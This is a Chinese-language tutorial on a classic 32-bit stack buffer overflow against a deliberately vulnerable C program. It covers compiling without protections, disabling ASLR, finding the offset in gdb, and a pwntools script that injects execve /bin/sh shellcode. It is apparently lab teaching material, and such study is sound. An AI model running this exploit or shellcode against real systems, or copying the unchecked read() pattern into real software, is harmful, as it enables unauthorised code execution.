栈溢出

0x00源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
     char buf[128];
     read(STDIN_FILENO, buf, 256);
 }
int main(int argc, char** argv) {
     vulnerable_function();
     write(STDOUT_FILENO, "Hello, World\n", 13);
 }

0x01思路:

img

由上图可见,read()函数存在漏洞,当输入的值为shellcode+(.?)+输入值起始位置的地址,且shellcode+(.?)这段长度为偏移值时,则会造成溢出,使得返回值RET(EIP)指向输入值的起始位置并执行shellcode

所以,首先需要知道两个值,一个为偏移值,一个是输入值起始位置的地址

总结下来就是两点:①找偏移,②改RET指向的地址

0x02编译:

gcc -fno-stack-protector -z execstack -no-pie -m32 pwn32.c -o pwn
-fno-stack-protector 禁用堆栈保护 
-z execstack 栈内命令可执行
-m32 生成32位机器的汇编代码

去掉ALSA:
echo 0 > /proc/sys/kernel/randomize_va_space

允许转存:
ulimit -c unlimited
设置转存文件路径名称等:
sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

0x03:通过断点寻找偏移

gdb pwn

checksec 保护全关

img

disas main 反汇编main函数

img

img

disas vulnerable_function 反汇编vulnerable_function

img

分析这段汇编:

push ebp 将ebp压栈
mov ebp,esp 使ebp指向新的栈帧底
sub esp,0x88 将esp地址减去0x88 ,(dec : 136)
sub esp,0x4 再将esp地址减去0x4,即esp新的地址,指向栈顶
push 0x100 将0x100压栈,即256这个常数
lea eax,[ebp-0x88] 将ebp-0x88这个地址的值赋予eax
push eax 将eax压栈
push 0x0 将0x0压栈
call 0x80482f0<read@plt> 调用read函数
add esp,0x10 将esp加上0x10,即16
leave 释放当前子程序在堆栈中的局部变量
ret 返回

b *0x0804842b 将断点断在vulnerable_function入口
ni 汇编代码单步步过
输入1234
此时输入值的首地址为 0xbffff5f0
所以偏移值为EBP-ECX+0x4=0xbffff678-0xbffff5f0+0x4=140

img

0x04 通过pattern_search查找偏移:

pattern_creat 200 创建200个字符,长度要足够长到能够覆盖RET

img

r 运行,输入创建的字符串

img

可以看到,EIP已被'AmAA'覆盖,则len('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfA')即为偏移值

或者直接

pattern_search 查找偏移

img

0x05 查找需要RET指向的地址

由以上步骤得到的起始地址并不准确,需要先输入溢出的字符产生core dump文件

使用以下脚本发送字符串

#!/usr/bin/env python
from pwn import *
p = process('/root/pwn32')
payload = "ABCD" +'A'*140
p.send(payload)
p.interactive()
gdb pwn /tmp/core.1497683420 运行产生core dump文件,gdb带core dump文件进行调试
x/20x $esp - 160 (16字节对齐的,减16的倍数)找到ABCD(0xffffcf20)的开始地址,ret地址就是这个值了

则payload为:
shellcode+A*(140-len(shellcode))+ret
其中ret=0xbffff5f0

利用脚本:

#!/usr/bin/env python
from pwn import *
p = process('/root/pwn/pwn32')
ret = 0xffffcf20#返回地址
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode +="\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode +="\x0b\xcd\x80"
payload = shellcode + "A" * (140-len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()